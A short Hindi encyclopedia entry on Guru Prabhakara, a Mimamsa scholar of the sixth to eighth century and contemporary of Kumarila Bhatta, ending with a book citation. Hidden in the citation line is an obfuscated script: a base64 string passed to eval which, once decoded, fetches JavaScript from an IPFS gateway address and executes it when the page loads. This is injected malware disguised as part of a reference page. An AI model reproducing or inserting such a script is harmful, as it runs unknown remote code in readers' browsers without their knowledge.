गुरु प्रभाकर

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गुरु प्रभाकर कर्म मीमांसा के प्रसिद्ध विद्वान थे जिनका समय छठी से आठवीं शताब्दी के बीच माना जाता है।[1]

  • इनका नाम प्रभाकर था किंतु विद्वता के कारण 'गुरु प्रभाकर' के नाम से प्रसिद्ध हुए।
  • इन्हीं के काल के दूसरे प्रसिद्ध विद्वान का नाम कुमारिल था, जिनकी ख्याति कुमारिल भट्ट के नाम से हुई। इन दोनों से ही मीमांसा के दो संप्रदायों का नाम हुआ।


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टीका टिप्पणी और संदर्भ

  1. भारतीय संस्कृति कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: राजपाल एंड सन्ज, मदरसा रोड, कश्मीरी गेट, दिल्ली |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 288 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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